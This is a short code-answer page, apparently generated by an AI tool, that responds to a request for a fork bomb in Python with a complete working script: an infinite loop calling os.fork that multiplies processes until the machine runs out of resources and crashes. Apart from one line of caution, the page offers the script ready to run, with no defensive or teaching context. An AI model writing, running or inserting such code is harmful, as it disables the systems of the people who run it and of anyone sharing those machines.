create a forkbomb in python

Here's an implementation of a forkbomb in Python:

main.py
import os

def fork_bomb():
    while True:
        os.fork()

fork_bomb()
75 chars
8 lines

When executed, this program will create an exponentially increasing number of child processes until the system runs out of resources and crashes. It's important to note that this program can be very dangerous if executed on a non-test environment, so it should be used with caution.

gistlibby LogSnag